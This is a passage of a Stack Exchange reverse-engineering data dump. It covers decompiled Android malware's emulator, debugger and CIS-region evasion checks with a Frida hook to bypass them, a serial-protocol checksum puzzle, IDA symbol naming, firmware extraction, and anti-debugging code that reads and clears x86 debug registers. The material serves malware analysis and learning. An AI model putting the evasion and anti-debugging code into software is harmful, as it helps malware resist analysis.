emulator&#xA;        public static boolean c(Context context) {&#xA;        // &#xA;            if (android.os.Debug.isDebuggerConnected()) &#xA;            {&#xA;                return true;&#xA;            }&#xA;            // check hardware related properties of the execution environment&#xA;            if (b(context)) &#xA;            {&#xA;                return true;&#xA;            }&#xA;            // create array of used language shorts&#xA;            // Region ISOs&#xA;            String[] split = &quot;ru|rus|kz|ua|by|az|am|kg|md|tj|tm|uz|us|ca|cs|sk&quot;.split(&quot;\\|&quot;); // &#xA;            // &#xA;            String[] split2 = &quot;ru|uk|be|az|hy|ky|mo|ro|tg|tk|uz|cs|sk&quot;.split(&quot;\\|&quot;); // &#xA;            TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(&quot;phone&quot;);&#xA;            // get getNetworkCountryIso()&#xA;            if (Arrays.asList(split).contains(j.a(telephonyManager).toLowerCase())) {&#xA;                return true;&#xA;            }// getSimCountryIso()&#xA;            if (Arrays.asList(split).contains(j.b(telephonyManager).toLowerCase())) {&#xA;                return true;&#xA;            }&#xA;            Object obj;&#xA;            String language = Locale.getDefault().getLanguage();&#xA;            try {&#xA;                obj = (String) String.class.getDeclaredMethod(&quot;toLowerCase&quot;, new Class[0]).invoke(language, new Object[0]);&#xA;            } catch (Exception e) {&#xA;                String str = language;&#xA;            }&#xA;            return Arrays.asList(split2).contains(obj);&#xA;        }&#xA;   // ...&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I tried to do using frida was to find an instance of keitev.ebaziueggzxt.q:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// DisableEmulatorDetection.js&#xA;    Java.perform(function()&#xA;            {&#xA;                Java.choose('keitev.ebaziueggzxt.q',&#xA;                {&#xA;                    onMatch:function(keitev_ebaziueggzxt_qInstance)&#xA;                    {&#xA;                        console.log(&quot;[*] Found an instance of keitev.ebaziueggzxt.q&quot; + keitev_ebaziueggzxt_qInstance);&#xA;                        var keitev_ebaziueggzxt_qClass = Java.use(&quot;keitev.ebaziueggzxt.q&quot;);&#xA;                        if(typeof keitev_ebaziueggzxt_qClass !== &quot;undefined&quot;) &#xA;                        {&#xA;                            console.log(&quot;keitev_ebaziueggzxt_qClass has been loaded!&quot;);&#xA;                        }&#xA;&#xA;                        keitev_ebaziueggzxt_qClass.c.implementation = function(arg_ctx)&#xA;                        {&#xA;                            console.log(&quot;keitev_ebaziueggzxt_qClass.c called!&quot;);&#xA;                            return true;&#xA;                        }&#xA;                    },&#xA;                    onComplete:function()&#xA;                    {&#xA;                        //console.log(&quot;Done looking for keitev.ebaziueggzxt.q!&quot;);&#xA;                    }&#xA;                });&#xA;            });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to use keitev_ebaziueggzxt_qClass.c.overload('android.content.Context').implementation as well. Frida accepted it, but it didn't do anything.&#xA;As far as I know static methods don't need to be called from an instantiated object, yet Frida doesn't apply the changes, or if it does, it has no effect on the executing Application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to execute the code using the following approaches:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Python code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# bot_instrument.py&#xA;import frida&#xA;import time&#xA;&#xA;device = frida.get_usb_device()&#xA;pid = device.spawn([&quot;keitev.ebaziueggzxt&quot;])&#xA;device.resume(pid)&#xA;time.sleep(1)&#xA;session = device.attach(pid)&#xA;script = session.create_script(open('DisableEmulatorDetection.js').read())&#xA;script.load()&#xA;&#xA;# stop the script from exiting&#xA;input()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and by loading the script when the malware is being spawned:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;frida -U -l DisableEmulatorDetection.js keitev.ebaziueggzxt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could anyone explain to me why I can't hook the &lt;em&gt;keitev_ebaziueggzxt_qClass.c&lt;/em&gt; static helper function and provide a solution? I'm assuming there are probably two problems with my approach: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The injected code doens't execute when I think it should.&lt;/li&gt;&#xA;&lt;li&gt;I'm probably hooking the function wrongly.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am very eager to hear answers from anyone who uses Frida on Android.&lt;/p&gt;&#xA;" OwnerUserId="21923" LastActivityDate="2017-10-12T14:10:13.367" Title="Attaching to Dalvik static function using Frida in order to disable emulator detection" Tags="|malware|android|instrumentation|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16540" PostTypeId="1" CreationDate="2017-10-12T21:05:07.350" Score="4" ViewCount="384" Body="&lt;p&gt;After reading a lot of posts here and their solutions, Punching lines in CRC calculators for several days now.  I can't seem to find on which Checksum this code is based.&lt;/p&gt;&#xA;&lt;h2&gt;Background&lt;/h2&gt;&#xA;&lt;p&gt;This is a data snippet of serial communication between a Control panel and Mainframe of a videomixer of Echolab. Echolab went broke 7 years ago and there hardware is collecting dust for years.   As a project to re-purpose the still good control panels to new hardware i need to interface a protocol converter to these panels.&lt;/p&gt;&#xA;&lt;p&gt;I had already a different serie of their panels up and running. But these panels were from the last serie they have build. So, it seems they put a checksum on their commands.  And, I need to manipulate the data inside of those strings so I need to figure out which checksum they used.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;FFFFFF030068000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000077CDDDE7A20&lt;/p&gt;&#xA;&lt;p&gt;FFFFFF030069000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000078221EDC040&lt;/p&gt;&#xA;&lt;p&gt;FFFFFF03006A0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000785774B0FC0&lt;/p&gt;&#xA;&lt;p&gt;FFFFFF03006B000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000078B0C63AA00&lt;/p&gt;&#xA;&lt;p&gt;FFFFFF03006C000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000078E5A2D1920&lt;/p&gt;&#xA;&lt;p&gt;FFFFFF03006D0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000791974997E0&lt;/p&gt;&#xA;&lt;p&gt;FFFFFF03006E000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000079A775A4720&lt;/p&gt;&#xA;&lt;p&gt;FFFFFF03006F000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000079D3AEC7440&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Here a sample of 8 messages that were sequential send.&lt;/p&gt;&#xA;&lt;p&gt;FFFFFF is the header on ALL messages in the protocol followed by a message identifier [03]  then a black byte followed by an address byte (68 - 6F in this case).&lt;/p&gt;&#xA;&lt;p&gt;I picked these messages as the payload is completely empty. So i could show in this example that the Checksum does jump a lot..&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;077CDDDE7A20   Addr 68  &#xA;078221EDC040   Addr 69  &#xA;0785774B0FC0   Addr 6A  &#xA;078B0C63AA00   Addr 6B  &#xA;078E5A2D1920   Addr 6C  &#xA;0791974997E0   Addr 6D  &#xA;079A775A4720   Addr 6E  &#xA;079D3AEC7440   Addr 6F  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So with the change of only the Address number the checksum does change a lot.  This tells me it is not a simple Xor or Add/count and Mod Checksum.&#xA;So my guess is it is somewhere in the CRC domain??  But spending 2 days on online Checksum calculators like Scandacore and Defuse.. Trying a lot of different combinations with and without Header, Message ID, etc etc.. But i can't seem to find the right combination.. So i'm a bit lost on this one..&lt;/p&gt;&#xA;&lt;p&gt;I ruled out that there is a timer inside the checksum.  As messages re-apear at a later stage and still have the same checksum when the same payload is there.&lt;/p&gt;&#xA;&lt;p&gt;Here are some messages with data in them. (you can see Message ID 05 gets repeated twice every set of messages)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;FFFFFF0507FF07FF40800000030000000010100001000000000000000000000000000000000000000000000000000000303A3130303A31300000000000000000313A3030313A30300000000000000000000000000000000000300032003301210039003A003B00380035009F00AB0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007F5F6C0&lt;/p&gt;&#xA;&lt;p&gt;FFFFFF01546F70204D656E752020202020202020202020204C6F6164204672616D6573746F72652031362020202020202020202020202020202020202020202020202020202020202020202020202020202020202D2D2D2D2D2D2050414E454C202D2D2D2D2D2D20202D2D2D2D2D204B45594D454D202D2D2D2D2D2D202020736176652020202020726563616C6C20202020207361766520202020206F6E2F6F6666202064D63D40&lt;/p&gt;&#xA;&lt;p&gt;FFFFFF0507FF07FF40800000030000000010100001000000000000000000000000000000000000000000000000000000303A3130303A31300000000000000000313A3030313A30300000000000000000000000000000000000300032003301210039003A003B00380035009F00AB0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007F5F6C0&lt;/p&gt;&#xA;&lt;p&gt;FFFFFF07426C6B20504331205043322054696D6543616D3143616D33437574205353726346426631464266322020202020202020D7E2A640&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2&gt;UPDATE  EDIT 1&lt;/h2&gt;&#xA;&lt;p&gt;So after the discovery of the 4 / 6 byte checksum. I went down deeper to find out why this is.&lt;/p&gt;&#xA;&lt;p&gt;Burning half trough the night looking into and cleaning up (make it more readable) the source capture (1000+ lines)  I could not get myself a satisfing anwser.&lt;/p&gt;&#xA;&lt;p&gt;And while the mainframe that was used for this capture is a few weeks away, I needed to find myself a Mainframe.&lt;/p&gt;&#xA;&lt;p&gt;Got a mainframe 2 hours drive from here this morning which was not exactly sure if it would work with my panel. As there could be a firmware difference between them.&lt;/p&gt;&#xA;&lt;p&gt;And so there was!  But in a good way!    I don't have an empty message like we had before for easy comparison.. But the tailing makes a lot more clear about the build of the message. In particular the Checksum.&lt;br /&gt;&#xA;And so I also discovered that i was looking at the wrong piece of the checksum. (and missed out 2 bytes that should be included in the string for the Checksum.&lt;/p&gt;&#xA;&lt;p&gt;First a few samples, below that some more description:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;FFFFFF0301560000000000000000000000000000001F43333F3C0143330C6601431E0C060F430C0C3C01430C0C6001430C0C661F5F0C0C3C000000000000000000000000000000000000000000000E000000001B000000001B000000000E000000001B000000001B000000000E00000000000000000000000000000000006F686ABF4D60&lt;/p&gt;&#xA;&lt;p&gt;FFFFFF03015700000000000000000000000000000000063E1F80000663318000060331800006031F8000060331800006633180003E3E318000000000000000000000000000000000000000000D7D4E1C3F0C0D4E1C630C0D5E36630C7D5E363F0C0D763E030C0D7663037D7D6663030000000000000000000000000000006F6874AEFEE0&lt;/p&gt;&#xA;&lt;p&gt;FFFFFF03015800000000000000000000000000000007763161E00036316330003363303003736331E000336373000031461B3007714619E000000000000000000000000000000000000000000D7D4E1C3F0C0D4E1C630C0D5E36630C7D5E363F0C0D763E030C0D7663037D7D6663030000000000000000000000000000006F68FEEB80A0&lt;/p&gt;&#xA;&lt;p&gt;FFFFFF03015900063E1F80000663318000060331800006031F8000060331800006633180003E3E318000000000001C39787EFC1C3B0D460C1E7B0D460C1E7B0C7E7C1B5B0D460C1B5B0D460C181979460C000000000000337B470000381B470000301B6F0000317B6F0000301B3B0000301B3B0000337B030000000000006F68FC406620&lt;/p&gt;&#xA;&lt;p&gt;FFFFFF03015A00063E1F80000663318000060331800006031F8000060331800006633180003E3E318000000000001C39787EFC1C3B0D460C1E7B0D460C1E7B0C7E7C1B5B0D460C1B5B0D460C181979460C000000000000397D6380006C0D6380006C0D7780006C7D7780006C0D5D80006C0D5D8000397D418000000000006F688396C200&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In these samples we have the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Header          FFFFFF  &#xA;Message Type    03    &#xA;Address double byte   0158  &#xA;Data   120 bytes big  &#xA;X number  6F68  Seems to be data    &#xA;Checksum  FEEB80A0   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The X number is new!  This did change a bit with the other mainframe. But at this mainframe it stayed the same for all 346 messages that write an array to some LCD smart buttons.   So the Checksum is indeed 4 byte.&lt;/p&gt;&#xA;&lt;p&gt;Yesterday I toughed those 2 X number bytes were from the Checksum. And in the older samples the 1st character was a 0..  So i assumed they put a 0 in front and back of the Checksum..&lt;/p&gt;&#xA;&lt;p&gt;Now we know the checksum is only 4 bytes. The thing that stands out is that it always ends with a 0.  I think this is done on purpose.. As 4 bits Padding is a bit strange don't you think?&lt;/p&gt;&#xA;&lt;p&gt;So after I post this message i will go re-do the CRC websites with this new knowledge.  But I toughed want to update this post first.&lt;/p&gt;&#xA;" OwnerUserId="21927" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-06-12T18:49:40.683" Title="Trouble finding the right Checksum algorithm" Tags="|hardware|serial-communication|protocol|crc|communication|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16542" PostTypeId="1" AcceptedAnswerId="16543" CreationDate="2017-10-13T15:14:37.287" Score="2" ViewCount="1372" Body="&lt;p&gt;I'm using IDA Pro 7.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am analyzing a library that is part of a larger ARM executable, so there are often calls to external functions that aren't in this library. Therefore obviously the address of the call does not get symbolicated correctly. For example, the program might be calling &lt;code&gt;mmap&lt;/code&gt;, which is at &lt;code&gt;0x12345678a&lt;/code&gt; , but it shows up as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BL              0x12345678a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BL              _mmap&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a text file that lists all the external functions and their addresses; i.e., one of the lines of this file is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;12345678a _mmap&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I want to write a script to rename the locations in IDA based on this external file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me what the IDC or IdaPython command would be to associate the address &lt;code&gt;0x12345678a&lt;/code&gt; with the name &lt;code&gt;_mmap&lt;/code&gt; so that these calls show up correctly in the disassembly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like &lt;code&gt;MakeName(0x12345678a, '_mmap')&lt;/code&gt; doesn't work, because &lt;code&gt;0x12345678a&lt;/code&gt; doesn't exist in any segment of the library I'm inspecting. Also, I would prefer them not to show up in the names list if possible.&lt;/p&gt;&#xA;" OwnerUserId="14287" LastEditorUserId="14287" LastEditDate="2017-10-13T15:34:30.757" LastActivityDate="2017-10-13T19:07:59.437" Title="Give a name to an arbitrary hex value in IDA Pro" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16543" PostTypeId="2" ParentId="16542" CreationDate="2017-10-13T19:07:59.437" Score="2" Body="&lt;p&gt;You can't rename the locations, because by your own admission, they don't exist.  In this case, if you're not worried about maintaing control flow information and just want to see the name that corresponds to the address, you can do a couple of things.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Inline Comments&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can write an IDAPython script to:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Parse your text file  &lt;/li&gt;&#xA;&lt;li&gt;Locate all of the unresolved BL calls, extract the address  &lt;/li&gt;&#xA;&lt;li&gt;Look up the name in your parsed symbol information  &lt;/li&gt;&#xA;&lt;li&gt;Create a comment in the database with the symbol name using the &lt;strong&gt;idc.MakeComm(ea, symbol_name)&lt;/strong&gt; function  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This will get you an inline comment with the symbol name, something like this:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BL 0x12345678a  # _memmap&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Make an Enum from the Symbol Info&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you wanted to change the representation of the raw address to a string, you can create an enum out of the data in the text file, and then apply that enum to the operand of all the BL instructions that have unresolved targets.  This should effectively give you a name for that call target, even though the address doesn't exist in the database, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BL _memmap&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can accomplish this a couple of ways: by using the IDAPython enum functions (AddEnum/AddConstEx), assuming you have processed your text file into a list of tuples of (symbol, addr):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id = idc.AddEnum(index, &quot;MyEnum&quot;, flags)&#xA;for symbol, addr in text_info:&#xA;    idc.AddConstEx(id, symbol, value, bmask)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then use the &lt;strong&gt;idc.OpEnumEx()&lt;/strong&gt; function wherever you have a raw address in your BL instruction to set that operand to your enum type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also convert your text information file into a C header file with a single enum representing your mapping, but this is a bit more tedious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be warned, this is only cosmetic.  Attempting to utilize any of the xref capabilities will fail, because it's not actually an address in the database, just a symbolic representation of the immediate value.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Conclusion&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Both of the previously described methods will get you the information you want without adding items to the Names list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to maintain control flow information and get them to &quot;show up correctly in the disassembly&quot;, you would have to create plt/got segments to simulate the rest of your address space. It's a bit more complicated, but doable if you need to do more complex analysis or want to take advantage of IDA's library recognition and type propagation.  Sounds like you just need the visual assistance of the symbol name, though.  Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="16966" LastActivityDate="2017-10-13T19:07:59.437" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16544" PostTypeId="1" AcceptedAnswerId="16547" CreationDate="2017-10-14T02:31:55.370" Score="8" ViewCount="7255" Body="&lt;p&gt;Since &lt;em&gt;software breakpoints&lt;/em&gt;, unlike &lt;em&gt;hardware breakpoints&lt;/em&gt; , do change the code, it's relatively easy to write a program that performs a checksum on itself as an anti-debugger technique. Is it possible to do something similar with hardware breakpoints?&lt;/p&gt;&#xA;" OwnerUserId="14535" LastActivityDate="2017-10-14T18:55:38.850" Title="Detecting hardware breakpoints" Tags="|anti-debugging|breakpoint|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16545" PostTypeId="2" ParentId="16290" CreationDate="2017-10-14T10:54:05.453" Score="3" Body="&lt;p&gt;@J91321 Been struggling with config file decryption for a while, without success. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;You can download a firmware image from &lt;a href=&quot;https://help.cosmote.gr/system/templates/selfservice/gnosisgr/Files2/SPEEDPORT_ENTRY2i_PSTN_zxhnh268n_hv100_fv100_otet10p2a_firmware.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; site&lt;/strike&gt;. Newer version available &lt;a href=&quot;http://help.cosmote.gr/system/templates/selfservice/gnosisgr/Files2/SPEEDPORT_ENTRY2i_pstn.bin&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Latest version &lt;a href=&quot;https://help.cosmote.gr/system/templates/selfservice/gnosisgr/Files2/zxhnh268n_hv100_fv100_otet12lw4o6p9a_firmware.bin&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. After extraction with &lt;code&gt;binwalk&lt;/code&gt; you should get a file with suffix jffs2 (filename.jffs2). If you are going to mount it on a x86 machine change endianness from big to little. For endian conversion you can use &lt;code&gt;jffs2dump&lt;/code&gt;. Then mount using mtdram. Listing of mounted jffs2 image (root directory):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;backcfg/  bin/  defcfg/  dev/  env/  etc/  home/  lib/  linuxrc@&#xA;log/  mnt/  proc/  root/  sbin/  sys/  usercfg/  usr/  var/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;File &lt;code&gt;cspd&lt;/code&gt; is located under /bin.&lt;/p&gt;&#xA;" OwnerUserId="21002" LastEditorUserId="21002" LastEditDate="2020-06-09T17:29:06.733" LastActivityDate="2020-06-09T17:29:06.733" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="16547" PostTypeId="2" ParentId="16544" CreationDate="2017-10-14T18:42:15.977" Score="10" Body="&lt;p&gt;This is a really good question since this topic isn't as popular as anti-debugging techniques to detect software breakpoints. Since you didn't mention the architecture we have to keep in mind that Hardware Breakpoints, as its name hints, are depends on the hardware you're running on and thus the implementation of such breakpoints is differ between each architecture. Since we can't cover in this answer all the architectures, I'll write here in an assumption that we're talking about &lt;a href=&quot;https://en.wikipedia.org/wiki/X86&quot; rel=&quot;noreferrer&quot;&gt;Intel's x86 architecture&lt;/a&gt; on Windows.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, the answer is &lt;strong&gt;yes&lt;/strong&gt;. There are basically two common ways to detect hardware breakpoints:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using thread's context to access Debug Registers&lt;/li&gt;&#xA;&lt;li&gt;Crafting a &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680657(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;SEH&lt;/a&gt; (Structured Exception Handling), then to cause an exception and access the debug registers  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In order to understand each method we should understand first what Hardware Breakpoint is and (in short) how it works.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Hardware Breakpoint&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In &lt;em&gt;x86&lt;/em&gt; architecture the debugger uses a set of Debug Registers in order to apply hardware breakpoints. There are 8 debug registers exists to control the debugging procedure, ranging from &lt;em&gt;DR0&lt;/em&gt; to &lt;em&gt;DR7&lt;/em&gt;. These registers are not accessible from &lt;em&gt;ring3&lt;/em&gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/Protection_ring&quot; rel=&quot;noreferrer&quot;&gt;privileges&lt;/a&gt; but only accessible from CPL0 (&lt;em&gt;Current Privilege Levels&lt;/em&gt;, ring0). Thus, an attempt to read or write the debug registers when executing at any other privilege level causes a general protection fault. The debug registers allow the debugger to interrupt program execution and transfer the control to it when accessing memory to read or write. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;x86 Debug Registers&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;DR0 - Linear breakpoint address 0&lt;/li&gt;&#xA;&lt;li&gt;DR1 - Linear breakpoint address 1&lt;/li&gt;&#xA;&lt;li&gt;DR2 - Linear breakpoint address 2&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;DR3 - Linear breakpoint address 3&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;DR4 - Reserved. Not defined by Intel&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;DR5 - Reserved. Not defined by Intel&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;DR6 - Breakpoint Status&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;DR7 - Breakpoint control&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;DR0-DR3 store a linear address of a breakpoint. The stored address can be the same as the physical address or it needs to be translated to the physical address. &lt;em&gt;DR6&lt;/em&gt; indicates which breakpoint is activated. &lt;em&gt;DR7&lt;/em&gt; defines the breakpoint activation mode by the access modes: &lt;em&gt;read&lt;/em&gt;, &lt;em&gt;write&lt;/em&gt;, or &lt;em&gt;execute&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Detecting Hardware Breakpoints&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method one - ThreadContext Win API&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following example is based on an example from &lt;a href=&quot;https://www.codeproject.com/Articles/30815/An-Anti-Reverse-Engineering-Guide&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; article from CodeProject. The example is commented to describe each piece of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool IsHWBreakpointExists()&#xA;{&#xA;    // This structure is key to the function and is the &#xA;    CONTEXT ctx;&#xA;    ZeroMemory(&amp;amp;ctx, sizeof(CONTEXT));&#xA;&#xA;    // The CONTEXT structure is an in/out parameter therefore we have&#xA;    // to set the flags so Get/SetThreadContext knows what to set or get.   &#xA;    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;&#xA;&#xA;    // Get a handle to our thread&#xA;    HANDLE hThread = GetCurrentThread();&#xA;    // Get the registers&#xA;    if(GetThreadContext(hThread, &amp;amp;ctx) == 0)&#xA;        return false;   &#xA;&#xA;    if ((ctx.Dr0) || (ctx.Dr1) || (ctx.Dr2) || (ctx.Dr3)) {&#xA;        return true;&#xA;    }&#xA;    else {&#xA;        return false;&#xA;    }&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 2 - SEH&lt;/strong&gt;&lt;br&gt;&#xA;The SEH method of manipulating the debug registers is much more common and is easier to implement it in Assembly, as shown in the following example, again from CodeProject:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ClrHwBpHandler proto&#xA; .safeseh ClrHwBpHandler&#xA;&#xA;ClearHardwareBreakpoints proc&#xA;     assume fs:nothing&#xA;     push offset ClrHwBpHandler&#xA;    push fs:[0]&#xA;    mov dword ptr fs:[0], esp ; Setup SEH&#xA;     xor eax, eax&#xA;     div eax ; Cause an exception&#xA;     pop dword ptr fs:[0] ; Execution continues here&#xA;     add esp, 4&#xA;     ret&#xA;ClearHardwareBreakpoints endp&#xA;&#xA;ClrHwBpHandler proc &#xA;     xor eax, eax&#xA;    mov ecx, [esp + 0ch] ; This is a CONTEXT structure on the stack&#xA;     mov dword ptr [ecx + 04h], eax ; Dr0&#xA;     mov dword ptr [ecx + 08h], eax ; Dr1&#xA;     mov dword ptr [ecx + 0ch], eax ; Dr2&#xA;     mov dword ptr [ecx + 10h], eax ; Dr3&#xA;     mov dword ptr [ecx + 14h], eax ; Dr6&#xA;     mov dword ptr [ecx + 18h], eax ; Dr7&#xA;     add dword ptr [ecx + 0b8h], 2 ; We add 2 to EIP to skip the div eax&#xA;     ret&#xA;ClrHwBpHandler endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;References:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-software-developer-system-programming-manual-325384.html&quot; rel=&quot;noreferrer&quot;&gt;Intel® 64 and IA-32 Architectures Software Developer Manual: Vol 3&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/0387098240&quot; rel=&quot;noreferrer&quot;&gt;Identifying Malicious Code Through Reverse Engineering&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.codeproject.com/Articles/30815/An-Anti-Reverse-Engineering-Guide&quot; rel=&quot;noreferrer&quot;&gt;An Anti-Reverse Engineering Guide&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software&quot; rel=&quot;noreferrer&quot;&gt;Anti Debugging Protection Techniques&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2017-10-14T18:55:38.850" LastActivityDate="2017-10-14T18:55:38.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
